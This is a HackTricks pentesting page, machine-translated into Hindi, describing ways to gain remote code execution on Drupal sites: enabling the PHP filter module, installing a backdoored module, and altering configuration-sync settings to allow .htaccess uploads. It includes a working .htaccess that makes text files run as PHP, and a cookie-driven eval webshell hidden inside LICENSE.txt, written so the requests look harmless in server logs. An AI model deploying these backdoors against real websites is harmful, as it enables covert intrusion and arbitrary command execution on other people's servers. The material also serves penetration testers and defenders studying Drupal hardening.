Drupal RCE

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

With PHP Filter Module

warning

पुराने संस्करणों में Drupal (संस्करण 8 से पहले), एक व्यवस्थापक के रूप में लॉग इन करना और PHP filter मॉड्यूल को सक्षम करना संभव था, जो "संलग्न PHP कोड/स्निपेट्स को मूल्यांकित करने की अनुमति देता है।" लेकिन संस्करण 8 से इस मॉड्यूल को डिफ़ॉल्ट रूप से स्थापित नहीं किया गया है।

  1. /modules/php पर जाएं और यदि 403 त्रुटि लौटाई जाती है तो PHP filter plugin स्थापित है और आप जारी रख सकते हैं
  2. यदि नहीं, तो Modules पर जाएं और PHP Filter के बॉक्स पर टिक करें और फिर Save configuration पर क्लिक करें
  3. फिर, इसका लाभ उठाने के लिए, Add content पर क्लिक करें, फिर Basic Page या Article चुनें और PHP backdoor लिखें, फिर टेक्स्ट प्रारूप में PHP कोड चुनें और अंत में Preview चुनें
  4. इसे ट्रिगर करने के लिए, बस नए बनाए गए नोड तक पहुंचें:
bash
curl http://drupal.local/node/3

PHP फ़िल्टर मॉड्यूल स्थापित करें

warning

वर्तमान संस्करणों में, डिफ़ॉल्ट स्थापना के बाद केवल वेब तक पहुँच होने पर प्लगइन्स स्थापित करना अब संभव नहीं है।

संस्करण 8 से आगे, PHP फ़िल्टर मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं है। इस कार्यक्षमता का लाभ उठाने के लिए, हमें मॉड्यूल को स्वयं स्थापित करना होगा

  1. Drupal वेबसाइट से मॉड्यूल का सबसे हालिया संस्करण डाउनलोड करें।
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. डाउनलोड करने के बाद Administration > Reports > Available updates पर जाएं।
  4. Browse पर क्लिक करें, उस निर्देशिका से फ़ाइल का चयन करें जहाँ हमने इसे डाउनलोड किया था, और फिर Install पर क्लिक करें।
  5. एक बार मॉड्यूल स्थापित हो जाने पर, हम Content पर क्लिक कर सकते हैं और एक नया बुनियादी पृष्ठ बनाएँ, जैसा कि हमने Drupal 7 उदाहरण में किया था। फिर से, सुनिश्चित करें कि Text format ड्रॉपडाउन से PHP code का चयन करें।

बैकडोर मॉड्यूल

warning

वर्तमान संस्करणों में, डिफ़ॉल्ट स्थापना के बाद केवल वेब तक पहुँच होने पर प्लगइन्स स्थापित करना अब संभव नहीं है।

यह संभव था कि एक मॉड्यूल डाउनलोड करें, उसमें बैकडोर जोड़ें और इसे स्थापित करें। उदाहरण के लिए, Trurnstile मॉड्यूल को संकुचित प्रारूप में डाउनलोड करना, इसके अंदर एक नया PHP बैकडोर फ़ाइल बनाना, जिससे .htaccess फ़ाइल के साथ PHP फ़ाइल तक पहुँचने की अनुमति मिलती:

html
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

और फिर http://drupal.local/admin/modules/install पर जाकर बैकडोर मॉड्यूल इंस्टॉल करें और इसे निष्पादित करने के लिए /modules/turnstile/back.php पर पहुंचें।

कॉन्फ़िगरेशन समन्वय के साथ Drupal में बैकडोरिंग

पोस्ट साझा की गई Coiffeur0x90

भाग 1 (मीडिया और मीडिया लाइब्रेरी का सक्रियण)

एक्सटेंड मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से इंस्टॉल किए गए प्रतीत होते हैं। डिफ़ॉल्ट रूप से, प्लगइन्स मीडिया और मीडिया लाइब्रेरी सक्रिय नहीं दिखाई देते हैं, इसलिए चलिए इन्हें सक्रिय करते हैं।

सक्रियकरण से पहले:

सक्रियकरण के बाद:

भाग 2 (कॉन्फ़िगरेशन समन्वय फ़ीचर का लाभ उठाना)

हम कॉन्फ़िगरेशन समन्वय फ़ीचर का लाभ उठाकर Drupal कॉन्फ़िगरेशन प्रविष्टियों को डंप (निर्यात) और अपलोड (आयात) करेंगे:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Patch system.file.yml

आइए पहले प्रविष्टि allow_insecure_uploads को पैच करना शुरू करें:

फाइल: system.file.yml


...

allow_insecure_uploads: false

...

को:

फाइल: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

फिर, दूसरे प्रविष्टि file_extensions को इस प्रकार पैच करें:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

के लिए:

फाइल: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से file_directory को परिभाषित करना संभव है और यह एक पथ traversal हमले के लिए संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)।

भाग 3 (विशेषता Add Document का लाभ उठाना)

अंतिम कदम सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है एक .txt फ़ाइल अपलोड करना जिसमें हमारा payload हो।

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

क्यों यह ट्रिक कूल है?

क्योंकि एक बार जब Webshell (जिसे हम LICENSE.txt कहेंगे) वेब सर्वर पर ड्रॉप किया जाता है, हम अपने कमांड $_COOKIE के माध्यम से भेज सकते हैं और वेब सर्वर लॉग में, यह एक वैध GET अनुरोध के रूप में एक टेक्स्ट फ़ाइल के लिए दिखाई देगा।

हमारे Webshell का नाम LICENSE.txt क्यों रखा जाए?

सिर्फ इसलिए क्योंकि अगर हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए core/LICENSE.txt (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 लाइनों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटे PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)।

फ़ाइल: Patched LICENSE.txt

txt

...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

भाग 3.1 (फाइल .htaccess अपलोड करें)

पहले, हम Add Document (/media/add/document) सुविधा का उपयोग करके अपनी फाइल अपलोड करते हैं जिसमें Apache निर्देश (.htaccess) होते हैं।

भाग 3.2 (फाइल LICENSE.txt अपलोड करें)

फिर, हम Add Document (/media/add/document) सुविधा का फिर से उपयोग करते हैं ताकि एक लाइसेंस फाइल के भीतर छिपा हुआ Webshell अपलोड किया जा सके।

भाग 4 (Webshell के साथ इंटरैक्शन)

अंतिम भाग Webshell के साथ इंटरैक्ट करने का है।

जैसा कि निम्नलिखित स्क्रीनशॉट में दिखाया गया है, यदि हमारे Webshell द्वारा अपेक्षित कुकी परिभाषित नहीं है, तो हमें वेब ब्राउज़र के माध्यम से फाइल परामर्श करते समय निम्नलिखित परिणाम मिलता है।

जब हमलावर कुकी सेट करता है, तो वह Webshell के साथ इंटरैक्ट कर सकता है और जो चाहें कमांड निष्पादित कर सकता है।

और जैसा कि आप लॉग में देख सकते हैं, ऐसा लगता है कि केवल एक txt फाइल का अनुरोध किया गया है।

इस लेख को पढ़ने के लिए समय निकालने के लिए धन्यवाद, मुझे उम्मीद है कि यह आपको कुछ शेल प्राप्त करने में मदद करेगा।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें